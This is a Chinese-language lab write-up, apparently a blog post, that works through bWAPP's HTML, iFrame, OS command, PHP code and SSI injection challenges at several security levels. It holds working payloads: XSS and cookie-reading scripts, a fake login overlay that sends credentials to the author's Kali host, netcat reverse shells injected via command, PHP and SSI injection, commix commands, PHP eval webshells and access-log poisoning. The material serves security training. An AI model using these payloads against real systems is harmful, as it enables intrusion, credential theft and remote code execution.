1. 程式人生 > >bwapp玩法總結之一

bwapp玩法總結之一

雙引號 技術 exec amp vol admin 練手 執行c ide

html injection-Reflected(GET)類型

1,low級別,隨便輸入,觀察到輸入什麽即會輸出什麽。(即沒有進行任何過濾)

技術分享圖片

輸入<script>alert(11)</script>可以成功彈框,說明存在html註入。(註明:html註入包含xss註入)

技術分享圖片

可以以讀取跟目錄下的圖片:

在輸入框中輸入:

<img src="../index.png"/>

即可。

技術分享圖片

2,medium級別,直接輸入<script>alert(11)</script>發現無法成功彈框,對<script>alert(11)</script>

進行url編碼,編碼後的結果為%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%31%29%3C%2F%73%63%72%69%70%74%3E,使用該腳本進行註入,發現註入成功,即可以成功彈框。編碼推薦網址為(http://www.toolsxx.com/code/xss.html)

技術分享圖片

3,high級別,發現無論如何都無法成功進行彈框,即也無法進行html註入,那原因是什麽呢?

讓我們一起來看看源碼吧。

在不同等級下分別對應不同的函數:low-no_check, medium-xss_check_1, high-xss_check_3。

技術分享圖片

4,在low級別下源碼為:

技術分享圖片

沒有進行任何過濾,輸入什麽,立刻輸出什麽。

5,在medium級別下源碼為:

? 技術分享圖片

在medium級別,由源碼可知,該級別下將用戶輸入的“>"和”<"替換為了他們所對應的html實體&gt和&lt,但是最後又進行了一次url解碼,所以繞過方法為:先對>和<進行url編碼,即可繞過。編碼結果為:%3Cscript%3Ealert(11)%3C/script%3E

6,在high級別下源碼為:

技術分享圖片

由源碼可知,在high級別下使用了php中防止註入的終極函數htmlentitiles(),在此處沒有註入成功,雖然嘗試了很久,但是依舊沒有成功。

html injection-Reflected(post)類型

該類型下所調用的函數與html injection-Reflected(get)類型完全一樣。只是將表單的提交方式由get變為了post。

在不同等級下分別對應不同的函數:low-no_check, medium-xss_check_1, high-xss_check_3。

技術分享圖片

html injection-Reflected(url)類型

1,在low級別下:url: http://192.168.80.141/bWAPP/htmli_current_url.php? 後面加上什麽就返回什麽,

技術分享圖片

嘗試輸入<script>alert(11)</script>進行彈框,發現彈框失敗,從而輸入的腳本進行了url編碼,個人立即猜測是因為在瀏覽器的輸入框中輸入的原因,所以立即使用burpsuite進行抓包,然後再在url後面加上?<script>alert(11)</script>

技術分享圖片

再點擊Forward發送該報文,彈窗成功,即腳本執行成功。

技術分享圖片

2,在medium級別下,由於火狐瀏覽器對url進行了編碼,所以無法繼續使用low級別下的方法進行彈框,但是腳本依舊可以成功執行,在ie瀏覽器中的url後面加上:

?<h1>volcano18</h1>

,發現該腳本成功執行,執行結果如圖:

技術分享圖片

其實也是可以彈框的,只是ie瀏覽器和谷歌瀏覽器禁用了部分js腳本,所以導致彈框失敗,在url後面加上?<script>alert(11)</script>執行結果如下:腳本可以成功執行,只是被ie瀏覽器阻止其運行。

技術分享圖片

3,在high別下,由於又使用了防止輸入的終極函數htmlentitiles(),無法進行註入。

查看html injection-Reflected(url)後端處理部分源碼如下:low-0, medium-1, high-2,

技術分享圖片

在low和medium級別下,沒有進行任何過濾,都是直接獲取url然後將其直接輸出,而high級別下使用了xss_check_3函數對host後面的部分進行了過濾處理,使得無法進行註入。

技術分享圖片

html injection-stored(blog)類型

該類型為存儲型的html註入,即所提交的腳本會重復執行。

1,在low級別下,沒有進行任何過濾,直接輸入腳本<script>alert(‘volcano18‘)</script>即可成功彈框,

技術分享圖片

也可以使用腳本<script>alert(document.cookie)</script>讀取用戶的cookie

技術分享圖片

也可以讀取我事先放到根目錄下的圖片:使用腳本

<img src="../index.png"/>

技術分享圖片

等一些後期利用方面可以自己隨便選取一個模塊自己練手,本人在這裏只針對這些模塊的一些繞過方式和利用方式進行講解。

一種有趣的玩法:直接留言如下代碼,在自己的kali中使用nc -lvp 80進行監聽,可以直接查看用戶輸入的用戶名和密碼:

<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://192.168.174.133/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>

輸入上述代碼後,會出現如下用戶名和密碼的輸入框:

技術分享圖片

在輸入框輸入用戶名和密碼後,會在kali虛擬機上面接受的相應的用戶名和密碼,比如我輸入admin123和volcano18,會在kali上出現如下結果:即得到對方的用戶名和密碼。

技術分享圖片

2,在medium級別下,試了很久沒有成功執行腳本,最後無奈,只好查看源碼了,查看源碼發現,不論是medium級別還是high級別,都使用了xss_check_3函數進行了過濾,源碼如下:

技術分享圖片

對留言框的輸入使用了xss_check_3函數進行過濾,xss_check_3函數源碼如下:

技術分享圖片

然而在xss_check_3中使用了防止html註入的終極函數htmlspecialchars(),所以在html injection-stored(blog)類型中,不論是medium級別還是high級別均無法進行註入。

3,在high級別下沒法註入。

iFrame Injection類型

1,在low級別下,首先從url:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250 觀察到robots.txt文件,剛剛好被讀取到界面上顯示,於是查看源碼發現,ParamUrl後面所包含的路徑直接內嵌在iframe標簽中:如圖:

技術分享圖片

於是我進行了如下利用,讀取根目錄下的index.png圖片,將url改為:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=192.168.174.128/../../index.png&ParamWidth=250&ParamHeight=250即可以成功讀取根目錄下的圖片:

技術分享圖片

可以也將url改為:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=https://www.baidu.com&ParamWidth=250&ParamHeight=250 從而將百度網頁內嵌在iframe框架中,

技術分享圖片

也可以直接構造playload進行彈框:http://192.168.174.128/bWAPP/iframei.php?ParamUrl=javascript:alert(11);&ParamWidth=250&ParamHeight=250,即將ParamUrl的值設置為javascript:alert(11);

技術分享圖片

也可以這樣構造playload將url設置為:

192.168.174.128/bWAPP/iframei.php?ParamUrl=" onload=alert(11)></iframe>//&ParamWidth=250&ParamHeight=250

即將iframe標簽提前閉合。

技術分享圖片

2,在medium級別下,在參數ParamUrl試過了各種腳本,也玩了很久很久,發現無論如何,src總是等於robots.txt於是估計可能是ParamUrl參數無法改變,那麽真的不能註入了嗎?這時我便想起了該url中的另外兩個參數,沒想到真的在另外兩個參數註入成功了,將ParamWidth參數值設置為" onload=alert(11)>//即可成功註入。

技術分享圖片

3,在high級別下,有沒有成功進行註入,估計又是使用了防止html註入的終極函數htmlspecialchars(),於是查看源碼:

技術分享圖片

發現在medium級別時,使用的是xss_check_4()函數進行過濾,查看xss_check_4函數如下:

技術分享圖片

使用了addslashes()函數進行過濾,該函數會在預定義字符之前添加反斜杠,會添加反斜杠預定義字符有:單引號(‘),雙引號(“),反斜杠(?),NULL。使用該函數進行過濾采用上述方法完全可以進行繞過。

在high級別下,使用的是xss_check_3()函數進行過濾

技術分享圖片

該函數中采用了防止xss註入的終極函數htmlspecialchars(),所以無法進行註入。

LDAP Connection Settings

這個ldap註入不會呀,應該是環境沒有搭建好,懶得搞。

LDAP Connection Settings

應該也是環境沒有搭建好,懶得搞。

OS Command Injection

在low級別下:直接進行命令執行沒有任何過濾。

www.baidu.com&&net user

www.baidu.com&&ifconfig

www.baidu.com&&ls

對&&符,|符,&符號的一些解釋。

command1 && command2 先執行command1後執行command2
command1 | command2 只執行command2
command1 & command2 先執行command2後執行command1

Command 1&&Command 2
先執行Command 1,執行成功後執行Command 2,否則不執行Command 2

Command 1&Command 2
先執行Command 1,不管是否成功,都會執行Command 2

一般像這種的命令執行就直接反彈shell了,反彈方法如下:

在瀏覽器輸入框輸入
www.baidu.com|nc 192.168.174.133 1818 -e /bin/bash
在自己的kali上進行監聽
nc -lp 1818 -v
python -c "import pty;pty.spawn('/bin/bash')"

技術分享圖片

在medium級別下:

對&&符和分號;進行了過濾,但是並沒有對管道符進行過濾,照樣繞過。

127.0.0.1|ls

下面就不使用上述的方法反彈shell了,使用kali自帶的一種工具commix進行命令註入,使用方法和sqlmap類型,使用方法如下:

commix -u "http://192.168.174.130/bWAPP/commandi.php" --data="target=127.0.0.1&form=submit" --cookie="security_level=1; PHPSESSID=8df91cf7aabc31f6a57a52246338a94c"

成功拿到shell。

技術分享圖片

技術分享圖片

在high級別下,繼續使用commix發現也出了shell但是其實是沒法執行命令的,個人認為是commix的緩存作用,sqlmap也遇到過類似的情況。

commix一用就上癮了啊。

OS Command Injection - Blind

在low級別下,直接反彈shell吧。首先在自己的kali上使用nc -lvp 4445對4445端口進行監聽,後在輸入框輸入如下命令:點擊ping

192.168.174.133 && nc 192.168.174.133 4445 -e /bin/bash

成功拿到shell

技術分享圖片

在medium級別下,照樣反彈shell。

輸入命令後點擊ping

192.168.174.133 | nc 192.168.174.133 4446 -e /bin/bash

成功拿到shell

技術分享圖片

在high級別下沒有註入成功。

送上一篇有關os命令註入的文章:

http://thehackpot.blogspot.com/2014/05/blind-os-command-injection-attacks.html

PHP Code Injection

在url後面直接加上

?message=id

即將url設置為:http://192.168.174.130/bWAPP/phpi.php?message=pwd發現直接返回了pwd

於是將message的值設置為:message=pwd;system(pwd)發現命令pwd被執行了,執行結果如下:

技術分享圖片

於是立刻進行寫馬,然後使用菜刀直接連接,竟然真的連接上了,開心。

fputs(fopen(‘1.php‘,‘w+‘),‘<?php @eval($_POST[volcano18])?>‘)

技術分享圖片

既然系統命令都可以直接執行了,那麽在這裏也可以反彈shell,將message的值設置為test;system(‘nc 192.168.174.133 7777 -e /bin/bash‘)

在kali上對7890端口進行監聽

nc -lvp 7777

成功反彈shell

技術分享圖片

emmmm,每次反彈shell時,靶機就變卡了,可怕。

在medium下和high級別下使用的htmlspecialchars()函數進行了過濾,沒法註入,其實個人很是不喜歡bwapp,因為他總是喜歡將中級和高級的難度設置成一樣的,搞得我每次都在中級停留好久。

過濾代碼如下:

技術分享圖片

推薦一篇關於php code injection的文章:http://www.polaris-lab.com/index.php/archives/254/

Server-Side Includes (SSI) Injection(服務器端包含註入)

也就是通過在輸入框通過包含一些命令,使服務端執行啦

比如:

<!--#exec cmd = "id"-->
拿shell吧:
<!--#exec cmd = "nc 192.168.174.133 1818 -e /bin/bash"-->

技術分享圖片

由於本人並沒有做過web開發,所以自然對ssl並不是很了解,其實個人理解也就是通過一定的方式,比如包含,使服務端執行我們自定義的命令罷了。今年幹一年web開發,日後會進行補充。下面找到一篇有關ssl註入的文章:

https://www.owasp.org/index.php/Server-Side_Includes_(SSI)_Injection

bwapp日誌寫馬拿shell

找到bwapp靶機中的日誌目錄為:

http://192.168.174.130/var/log/apache2/access.log

直接寫木馬了:

192.168.174.130/<?php @eval($_POST[volcano18]);?>

雖然有報錯目錄不存在,但是這個報錯也被記錄在了bwapp靶機的錯誤日誌目錄中,好了,直接用菜刀連接吧,

技術分享圖片

直接就連接上了:

技術分享圖片

bwapp玩法總結之一